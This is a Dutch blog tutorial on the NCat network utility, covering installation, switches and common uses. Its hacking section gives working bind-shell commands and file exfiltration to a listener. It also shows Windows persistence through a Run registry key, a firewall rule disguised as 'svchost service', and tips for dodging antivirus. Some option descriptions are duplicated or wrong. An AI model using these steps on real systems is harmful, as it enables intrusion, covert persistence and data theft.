NCat – Voorbeelden en Gebruik
NCat is een applicatie die aanwezig moet zijn in de tools library van iedere IT Professional en Security Researcher. NCat is een zeer geavanceerde network utility van het Nmap (security scanner) team. NCat is geschreven als verbeterde opvolger van Netcat. Met Netcat kunnen poorten gescand worden, bestanden getransporteerd worden en Netcat kan zelfs als backdoor fungeren. NCat kan dat alles ook maar heeft diverse voordelen t.o.v. netcat waaronder de ondersteuning voor meer protocollen zoals IPv6, SSL encryptie, Proxy’s etc. Doordat NCat zo veelzijdig is en omdat NCat gemakkelijk vanuit andere tools aangeroepen kan worden wordt NCat op brede schaal gebruikt voor diverse doeleinden zoals het controleren van open poorten, DNS controle, werken op alternatieve poorten, HEX dumps, Tunnel mode en nog veel meer.
In deze post gaan we kijken wat NCat is en welke mogelijkheden NCat ons geeft. Wie Netcat goed kent zal merken dat de manier van werken en de formatie van de commando’s zeer veel gelijkenissen heeft met NCat.
NCat is een command-line utility en dus zijn er nogal wat schakelopties en mogelijkheden om met NCat te werken. Maar laten we eerst eens gaan kijken naar de installatie. NCat is aanwezig voor alle grote OS systemen zoals Windows en Linux. In deze post gebruik ik Kali Linux welke al een distributie van NCat geïnstalleerd heeft. Voor Windows kun je de hele NMap Suite downloaden (https://nmap.org/download.html) om ook over de NCat functionaliteiten te beschikken. Om NCat te installeren op een Linux machine gebruiken we de volgende commando’s:
Redhat / Mandrake / Suse:
rpm -vhU https://nmap.org/dist/ncat-7.xxx.rpm |
Debian:
sudo apt-get install nmap |
Fedora:
sudo yum install nmap |
NCat Grafische Interface
Voor iedereen die het gemakkelijker vindt om via een grafische interface te werken heeft het NMap team “Zenmap” gemaakt. Zenmap is de officiële Nmap Security Scanner GUI en geeft op een gemakkelijke manier toegang tot alle NMap (en dus ook NCat) features:
Hoe gebruik je NCat?
Een NCat verbinding wordt opgebouwd door een cliënt die in “connect mode” commando’s te laten verzenden naar een cliënt in “listen” mode. De cliënt in “connect mode” verzend als het ware de data naar een service op de cliënt in “listening mode”. Met andere woorden, NCat opent een (TCP/UDP) socket in listening (server) mode of in connect (cliënt) mode om data over en weer te sturen. NCat neemt de data van STDin en transfert deze over naar de andere zijde van het netwerk.
Als we cliënt A (192.168.1.1) willen laten luisteren op een poort (6500) dan gebruiken we het commando:
ncat -l -p 6500 |
Cliënt B kan vervolgens verbinden met het commando:
ncat 192.168.1.1 6500 |
Nu de machines met elkaar verbonden zijn kan cliënt B data versturen naar cliënt A. Je zou zo bijvoorbeeld met elkaar kunnen chatten.
Bovenstaande is slechts het begin. Om wat geavanceerder te kunnen werken gaan we eerst alle NCat switches bekijken.
NCat Switches en Opties
De meeste NCat switches en opties kun je bekijken via de help trigger:
ncat --help |
Laten we de meest interessante opties bespreken:
-
-4 of -6
Gebruik respectievelijk alleen IPv4 (-4) of IPv6 (-6). -
-C (–crlf)
Gebruik CRLF. CR (Carriage Return) en LF (Line Feed) zijn control characters welke gebruikt worden om een nieuwe lijn te definiëren. Linux gebruikt alleen LF. Door de –C te definiëren geven we NCat deze karakterset mee welke verplicht is in sommige gevallen zoals bij b.v. HTML en veel plain-tekst protocollen. -
-e (–exec) en –c (–sh-exec)
Dit zijn execute commando’s. –e is het normale execute commando. –c is het commando om de execute uit te voeren vanuit /bin/sh/ . -
-m (–max-conns)
Met de –m switch geven we het maximaal gelijktijdige connecties aan. -
-d (–delay)
Met de –d geven we de vertragingstijd aan tussen alle lees/schrijf processen. Tijd geven we aan met een achtervoegsel. Deze zijn h (uur), m (minuten), s (seconden), ms (miniseconden). Als je tussen elke lees en schrijf actie 30 seconde wachttijd wilt inbouwen gebruik je dus “-d 30s”. -
-o (–output) en –h (–hex-dump)
Deze schakelopties schrijven alle sessie data naar een bestand zodat deze later bekeken / geanalyseerd kan worden. –o is een normaal (tekst) bestand en –h is de sessiedata in hexadecimaal formaat. -
-p (–source-port)
Definieer de te gebruiken poort. -
-s (–source)
Definieer de te gebruiken poort. -
-l (–listen)
Gebruik deze schakeloptie om je NCat versie in te schakelen als listener. -
-k (–keep-open)
Accepteer meerdere verbindingen in “listen” mode. Normaliter accepteert NCat 1 gelijktijdige connectie. Met de –k opties (in combinatie met de –l optie) blijft de verbinding dus altijd open. -
-n (–nodns)
Hostnamen niet resolven (opzoeken) via DNS. -
-t (–telnet)
Beantwoord Telnet aanvragen. -
-u (–udp en –-sctp)
Gebruik UDP i.p.v. TCP. Als je SCTP (Stream Control Transmission Protocol) wilt gebruiken dan gebruik je de –sctp schakeloptie. -
-v (–verbose)
Stel je “verbose” niveau in. Verbose wil zeggen dat er meer informatie gegeven wordt over een bepaalde transitie of proces. Een hoog verbose level wordt vaak gebruikt om te troubleshooten. -
-v (–verbose)
Stel je “verbose” niveau in. Verbose wil zeggen dat er meer informatie gegeven wordt over een bepaalde transitie of proces. Een hoog verbose level wordt vaak gebruikt om te troubleshooten. -
–append-output!!!!
Door het toevoegen van deze trigger wordt output toegevoegd aan bestaande output bestanden i.p.v. dat er nieuwe bestanden gemaakt worden of bestaande bestanden overschreven worden. -
–send-only & –recv-only
Zoals de trigger al verraad wordt de –-send-only trigger gebruikt om alle input te negeren en alleen om data te verzenden. De netwerk verbinding wordt gesloten na het ontvangen van een EOF (End Of File). De -–recv-only is hetzelfde maar dan met een omgekeerde werking. NCat zal alleen data ontvangen en niets verzenden. -
–allow & –deny
Met deze opties stellen we in of we alleen iets van specifieke hosts accepteren (–allow) of dat we specifieke hosts negeren (–deny).
–broker
De –broker wordt gebruikt in combinatie met de –l (listen) trigger en activeert de NCat broking mode. Deze optie zorgt ervoor dat meerdere gebruikers kunnen verbinden met een gecentraliseerde NCat server. Na verbinding kunnen deze gebruiker met elkaar communiceren. Gebruikers kunnen via de NCat broker zelfs met elkaar communiceren achter NAT netwerken waar deze gebruikers normaliter niet met elkaar zouden kunnen communiceren.
–chat
Als je alleen tekst of bestanden wilt delen met elkaar kan de –chat mode geactiveerd worden (ook weer in combinatie met de –l (listen) optie. Door het activeren van de chat mode wordt de NCat broking mode geactiveerd zodat verschillende gebruikers met elkaar kunnen communiceren. NCat zal “non-printing” karakters escapen zodat deze geen schade aan de terminal kunnen doen en elk bericht zal voorzien worden van een uniek ID nummer zodat verschillende communicaties van elkaar gescheiden kunnen worden.
–ssl
Door het toevoegen van de –ssl optie wordt het werken met SSL mogelijk. In de “connect” mode zal de cliënt met een SSL server onderhandelen om de verbinding te versleutelen (b.v. een SSL based webserver). Als NCat in servermodus staat dan luistert NCat naar inkomende verbindingen en zal NCat SSL accepteren om verbindingen te versleutelen. De –ssl optie in NCat kent nog vele varianten en optionele triggers zoals –ssl-ciphers om de geaccepteerde cipher suites in te stellen of –ssl-cert en –ssl-key om specifieke certificaten in te stellen.
NCat voorbeelden
Nu we weten wat NCat voor opties heeft is het zaak ze toe te passen. Hierbij een aantal voorbeelden om een betere indruk van het NCat commando te krijgen.
NCat listener instellen op alternatieve poort 8080 (NCat default poort is 31337):
ncat –l 8080 |
Verbinden met een alternatieve poort (8080):
ncat 84.83.82.81 8080 |
NCat listener instellen op alternatieve poort 8080 over IPv6:
ncat -6 –l 8080 |
Scan welke poorten van 1 t/m 1000 open zijn op de doelcomputer
ncat -v -w 2 -z 192.168.1.1 1-1000 |
Open een host listener en bind aan poort:
De –sh-exec combinatie voert een commando uit door een string naar de systemshell te parsen. Hier wordt dus het commando “ncat jarnobaselier.nl 80” naar de systemshell gestuurd waardoor de host “jarnobaselier.nl:80” opent en bind aan poort 8080 op de locale machine.
ncat --sh-exec "ncat jarnobaselier.nl 80" -l 8080 --keep-open |
Folder toegang koppelen aan poort:
Het –exec commando voert een commando uit zonder shell interpretatie. Deze (-o) optie neemt de volledige padnaam van het commando mee om uit te voeren, samen met zijn argumenten. Het commando wordt direct uitgevoerd; Ncat interpreteert niet de gegeven tekenreeks na het splitsen van het commando en zijn argumenten. In dit voorbeeld openen we een listener op poort 8080 die we altijd open houden en deze binden we aan “/bin/bash”. Resultaat: iedereen heeft toegang tot “/bin/bash” via poort 8081.
ncat --exec "/bin/bash" -l 8081 --keep-open |
Banner Grabbing:
Gegevens zoals b.v. het gebruikte OS zijn te vinden in bepaalde protocol banners. Deze banners kun je inkijken d.m.v. “banner grabbing? . Banner grabbing bestaat uit 2 commando’s. Run NCat in verbose mode en verbind de met de doelcomputer. Geef vervolgens het “HEAD / HTTP/1.0” commando om de banner te bekijken. Let wel op dat je 2x op de ENTER toets drukt na het invoeren van het commando.
ncat.exe -v google.com 80 HEAD / HTTP/1.0 |
Gebruik NCat als een telnet cliënt.
ncat -t 192.168.1.1 23 |
PS. Afhankelijk van de telnet client kan het voorkomen dat de sessie met NCat niet juist geïnterpreteerd wordt waardoor er vreemde tekens getoond kunnen worden.
Gebruik NCat simpele webserver:
Server:
ncat -l 192.168.1.1 80 < index.html |
Client:
ncat 192.168.1.1 80 |
Gebruik NCat om een bestand via SSL te transferren over poort 1230. Deze sessie beëindigd zichzelf automatisch.:
Server:
ncat.exe -l --ssl 1230 --send-only < ncat.exe |
Client:
ncat localhost 1230 --ssl > file.txt |
Gebruik NCat als proxy server met authenticatie waarbij de gebruikersnaam “jarno” is en het wachtwoord “baselier”:
ncat -l 8080 --proxy-type http --proxy-auth jarno:baselier --ssl |
NCat om te hacken
Uit bovenstaande voorbeelden kunnen we 2 conclusies trekken. De eerste is dat NCat een zeer goede en flexibele data transfer tools is en de 2e conclusie is dat we de hele NMap suite dus kunnen gebruiken als prima reconnaissance/scanning (https://jarnobaselier.nl/de-5-fases-van-een-cracker/) hack tool (fase 1 en 2) en NCat als fase 3 tool (gaining access).
Hieronder een aantal voorbeelden hoe NCat gebruikt kan worden als “backdoor” om toegang tot een computer te krijgen (en te houden).
Open een backdoor op een machine en “pipe” de command shell aan de luisterende poort.
ncat –l –p 6111 –e cmd.exe |
Voor Linux ziet het commando er als volgt uit:
ncat –l –p 6111 –e /bin/bash |
Om vervolgens de shell op de remote machine te openen en gebruiken typen we het volgende commando:
ncat 192.168.1.1 6111 |
Nu hebben we shell access naar de target machine. En let’s face it… now we control the machine! Maar we kunnen nog meer leuke dingen doen:
Zo kunnen we ook bestanden “kopieren” vanuit onze target machine. Laten we veronderstellen dat de doelcomputer het bestand “financiele_gegevens_2017.xlsx” bevat. Nu kunnen we dit bestand kopiëren door deze te tonen (type financiele_gegevens_2017.xlsx) en sturen naar een Ncat listener die luistert op poort 6111 (op IP adres 192.168.1.1):
type financiele_gegevens_2017.xlsx | ncat 192.168.1.1 6111 |
Nu we de data van financiele_gegevens_2017.xlsx verzenden moeten we deze ook kunnen ontvangen op de listener. Deze zetten we als volgt op:
ncat –l –p 6111 > financiele_gegevens_2017.xlsx |
We sturen nu dus alle ontvangen data weer naar het bestand “financiele_gegevens_2017.xlsx”.
We weten ondertussen dat we banners kunnen grabben maar we kunnen ook onze eigen banners spoofen. Dit doen we door de header gewoon zelf in te voeren. Hou er weer rekening mee dat deze pas geactiveerd worden na een dubbele enter.
ncat 192.168.1.1 80 GET / HTTP/1.1 Host: EvilDevil.com User-Agent: Hidden-in-your-logs Referrer: Also-hidden-in-your-logs |
Een voorbeeld waarin NCat gebruikt wordt om een backdoor te realiseren zou als volgt kunnen zijn:
- Zorg dat je toegang krijgt tot de doelcomputer (b.v. d.m.v. een Meterpreter script) en upload je NCat executable.
- Zorg dat NCat start als de computer start. Dit kan b.v. door het register aan te passen. Pas hiervoor de volgende registersleutel aan “HKLM\software\microsoft\windows\currentversion\run”. B.v. d.m.v. het commando:
reg enumkey -k HKLM\\software\\microsoft\\windows\\currentversion\\run
Zorg er dan voor dat NCat start op poort 22 en dat de console gekoppeld wordt aan het proces zoals we al in een eerder voorbeeld hebben gezien.
reg setval -k HKLM\\software\\microsoft\\windows\\currentversion\\run -v ncat -d 'C:\windows\system32\ncat.exe -Ldp 22 -e cmd.exe'
- Nu moeten we ervoor zorgen dat ook externe verbindingen toegestaand worden zodat we remote met de computer kunnen verbinden. Als men werkt met een externe firewall heb je hier een uitdaging. Als men gewoon de Windows firewall gebruikt kun je vrij gemakkelijk het “netsh” commando gebruiken:
netsh advfirewall firewall add rule name="svchost service" dir=in action=allow protocol=TCP localport=22
- En zo “makkkelijk” is het. Nu kunnen we onze “server” NCat verbinden met de client:
ncat -v 192.168.1.1 22
Conclusie
Met NMap krijg je gemakkelijk en snel uitgebreide informatie retour over een netwerk en is het mogelijk om deze informatie te gebruiken om toegang te krijgen middels NCat. NCat zelf is makkelijk is gebruik en erg flexibel waardoor het voor veel doeleinden gebruikt kan worden. Gebruik NCat verstandig want NCat wordt door veel virusscanners en firewalls herkend als mallicious. Uiteraard kun je daar wel een beetje omheen werken zoals “het hernoemen van je executable bestand en het gebruik van poorten die door firewalls vaak doorgelaten worden. Maar toch is dit geen garantie op succes en vergt het wel wat finetuning. Als je van het principe “full force” bent dan is NCat niet jou tool. Maar ga je voor het “slow en steady” principe dan is NCat perfect!